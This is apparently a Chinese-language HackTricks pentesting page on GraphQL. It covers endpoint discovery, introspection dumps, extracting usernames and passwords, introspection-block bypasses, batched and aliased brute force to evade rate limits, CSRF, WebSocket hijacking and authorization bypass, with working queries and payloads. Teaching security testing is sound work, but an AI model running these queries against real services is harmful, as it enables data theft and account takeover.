GraphQL

支持 HackTricks

介绍

GraphQL 被强调为 REST API 的高效替代方案,提供了一种简化的方式来从后端查询数据。与 REST 相比,REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过单个请求获取所有所需的信息。这种简化显著有利于开发者,减少了他们的数据获取过程的复杂性。

GraphQL 和安全性

随着新技术的出现,包括 GraphQL,新的安全漏洞也随之而来。一个关键点是GraphQL 默认不包含认证机制。开发者有责任实施这些安全措施。没有适当的认证,GraphQL 端点可能会向未认证用户暴露敏感信息,构成重大安全风险。

目录暴力攻击与 GraphQL

为了识别暴露的 GraphQL 实例,建议在目录暴力攻击中包含特定路径。这些路径包括:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息,请参阅 GraphQL 关于自省的文档:GraphQL:API 的查询语言。

指纹识别

工具 graphw00f 能够检测服务器使用的 GraphQL 引擎,并打印一些对安全审计员有用的信息。

通用查询

要检查 URL 是否为 GraphQL 服务,可以发送一个通用查询query{__typename}。如果响应包含 {"data": {"__typename": "Query"}},则确认该 URL 托管了一个 GraphQL 端点。此方法依赖于 GraphQL 的 __typename 字段,该字段揭示了被查询对象的类型。

query{__typename}

基本枚举

Graphql 通常支持 GETPOST (x-www-form-urlencoded) 和 POST(json)。虽然出于安全考虑,建议仅允许 json 以防止 CSRF 攻击。

反向查询

要使用反向查询发现架构信息,请查询 __schema 字段。该字段在所有查询的根类型上可用。

query={__schema{types{name,fields{name}}}}

通过此查询,您将找到所有正在使用的类型的名称:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

通过这个查询,您可以提取所有类型、它的字段和它的参数(以及参数的类型)。这将非常有助于了解如何查询数据库。

错误

了解错误是否会被显示是很有趣的,因为它们将提供有用的信息。

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

通过自省枚举数据库模式

如果自省已启用但上述查询无法运行,请尝试从查询结构中删除 onOperationonFragmentonField 指令。

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

内联自省查询:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

最后一行代码是一个graphql查询,它将转储所有来自graphql的元信息(对象名称、参数、类型...)

如果启用了自省,您可以使用 GraphQL Voyager 在图形用户界面中查看所有选项。

查询

现在我们知道数据库中保存了哪种信息,让我们尝试提取一些值

在自省中,您可以找到可以直接查询的对象(因为您不能仅仅因为对象存在就查询它)。在下图中,您可以看到“queryType”被称为“Query”,而“Query”对象的一个字段是“flags”,这也是一种对象类型。因此,您可以查询标志对象。

请注意,查询“flags”的类型是“Flags”,该对象定义如下:

您可以看到“Flags”对象由namevalue组成。然后,您可以使用查询获取所有标志的名称和值:

query={flags{name, value}}

注意,如果查询的对象是像字符串这样的原始****类型,如以下示例所示

您可以直接查询:

query={hiddenFlags}

在另一个例子中,"Query" 类型对象中有两个对象:"user" 和 "users"。 如果这些对象不需要任何参数进行搜索,可以通过请求所需的数据来检索所有信息。在这个互联网示例中,你可以提取保存的用户名和密码:

然而,在这个例子中,如果你尝试这样做,你会得到这个错误

看起来它会使用类型为 Int 的 "uid" 参数进行搜索。 无论如何,我们已经知道,在 Basic Enumeration 部分提出了一个查询,显示了所有所需的信息:query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

如果你阅读我运行该查询时提供的图像,你会看到 "user" 有一个类型为 Intarg "uid"。

因此,通过一些轻量级的 uid 暴力破解,我发现 uid=1 时检索到了一个用户名和一个密码: query={user(uid:1){user,password}}

注意我发现我可以请求 参数 "user" 和 "password",因为如果我尝试查找不存在的内容 (query={user(uid:1){noExists}}),我会得到这个错误:

枚举阶段,我发现 "dbuser" 对象的字段有 "user" 和 "password"。

查询字符串转储技巧(感谢 @BinaryShadow_)

如果你可以通过字符串类型进行搜索,例如:query={theusers(description: ""){username,password}},并且你搜索一个空字符串,它将转储所有数据。 (注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "description" 的字符串字段使用 "theusers" 进行搜索).

搜索

在这个设置中,一个数据库包含人员电影人员通过他们的电子邮件姓名进行识别;电影通过它们的名称评分进行识别。人员可以互为朋友,也可以拥有电影,表示数据库中的关系。

你可以通过姓名搜索人员并获取他们的电子邮件:

{
searchPerson(name: "John Doe") {
email
}
}

您可以通过名称搜索人员并获取他们的订阅****电影

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

注意如何指示检索该人的 subscribedMoviesname

您还可以同时搜索多个对象。在这种情况下,搜索了 2 部电影:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

或者甚至使用别名的多个不同对象的关系

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

变更用于在服务器端进行更改。

自省中,您可以找到声明的 变更。在下图中,"MutationType" 被称为 "Mutation",而 "Mutation" 对象包含变更的名称(在本例中为 "addPerson"):

在此设置中,数据库包含人员电影人员通过其电子邮件姓名进行识别;电影通过其名称评分进行识别。人员可以彼此成为朋友,并且也可以拥有电影,表示数据库中的关系。

一个在数据库中创建新电影的变更可以像以下示例(在此示例中,变更被称为 addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

注意查询中如何指示值和数据类型。

此外,数据库支持一个mutation操作,名为addPerson,允许创建persons及其与现有friendsmovies的关联。重要的是要注意,朋友和电影必须在数据库中预先存在,然后才能将它们链接到新创建的人。

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

指令重载

本报告中描述的漏洞之一所述,指令重载意味着调用指令甚至数百万次,以使服务器浪费操作,直到可能导致拒绝服务(DoS)。

在1个API请求中批量暴力破解

此信息来自https://lab.wallarm.com/graphql-batching-attack/。 通过GraphQL API进行身份验证,同时发送多个不同凭据的查询进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。

下面是一个应用程序身份验证请求的最简单演示,一次有3个不同的电子邮件/密码对。显然,可以以相同的方式在单个请求中发送数千个:

从响应截图中可以看到,第一个和第三个请求返回了_null_,并在_error_部分反映了相应的信息。第二个变更具有正确的身份验证数据,响应中包含正确的身份验证会话令牌。

无需自省的GraphQL

越来越多的graphql端点正在禁用自省。然而,当收到意外请求时,graphql抛出的错误足以让像clairvoyance这样的工具重建大部分架构。

此外,Burp Suite扩展GraphQuail 观察通过Burp的GraphQL API请求构建一个内部GraphQL 架构,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时,该扩展返回一个假响应。因此,GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息,请查看此处

一个很好的词表可以在这里发现GraphQL实体

绕过GraphQL自省防御

为了绕过API中对自省查询的限制,在__schema关键字后插入特殊字符被证明是有效的。这种方法利用了开发人员在正则表达式模式中常见的疏忽,这些模式旨在通过关注__schema关键字来阻止自省。通过添加像空格、换行符和逗号这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在__schema后面带有换行符的自省查询可能会绕过这样的防御:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

如果不成功,请考虑其他请求方法,例如 GET 请求使用 x-www-form-urlencoded 的 POST 请求,因为限制可能仅适用于 POST 请求。

尝试 WebSockets

此演讲 中提到的,检查是否可以通过 WebSockets 连接到 graphQL,因为这可能允许您绕过潜在的 WAF,并使 websocket 通信泄露 graphQL 的架构:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

发现暴露的 GraphQL 结构

当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有效的策略。这些查询可以通过开发者工具中的 Sources 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 暴露敏感查询。在开发者工具中搜索的命令是:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

如果你不知道什么是 CSRF,请阅读以下页面:

在外面,你将能够找到几个 未配置 CSRF 令牌的 GraphQL 端点。

请注意,GraphQL 请求通常通过使用 Content-Type application/json 的 POST 请求发送。

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

然而,大多数 GraphQL 端点也支持 form-urlencoded POST 请求:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

因此,像之前那样的 CSRF 请求是 在没有预检请求的情况下 发送的,因此可以 利用 CSRF 在 GraphQL 中 进行 更改

然而,请注意 Chrome 的 samesite 标志的新默认 cookie 值为 Lax。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。

请注意,通常也可以将 查询 请求 作为 GET 请求 发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。

此外,利用 XS-Search 攻击 可能能够利用用户的凭据从 GraphQL 端点提取内容。

有关更多信息,请 查看 原始帖子

GraphQL 中的跨站 WebSocket 劫持

类似于利用 GraphQL 的 CRSF 漏洞,也可以执行 跨站 WebSocket 劫持,以利用未保护的 cookie 进行 GraphQL 身份验证,并使用户在 GraphQL 中执行意外操作。

有关更多信息,请查看:

GraphQL 中的授权

在端点上定义的许多 GraphQL 函数可能仅检查请求者的身份验证,而不检查授权。

修改查询输入变量可能导致敏感账户详细信息 泄露

突变甚至可能导致账户接管,试图修改其他账户数据。

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

绕过 GraphQL 中的授权

将查询链接在一起可以绕过一个弱认证系统。

在下面的示例中,您可以看到操作是“forgotPassword”,并且它应该只执行与之相关的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加“register”和一个用户变量,以便系统注册为新用户。

使用 GraphQL 中的别名绕过速率限制

在 GraphQL 中,别名是一个强大的功能,允许在进行 API 请求时明确命名属性。这个功能对于在单个请求中检索同一类型的多个实例特别有用。别名可以用来克服 GraphQL 对象不能具有多个同名属性的限制。

要详细了解 GraphQL 别名,推荐以下资源:Aliases

虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制HTTP 请求的数量来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。

考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

工具

漏洞扫描器

客户端

自动测试

参考

支持HackTricks

Last updated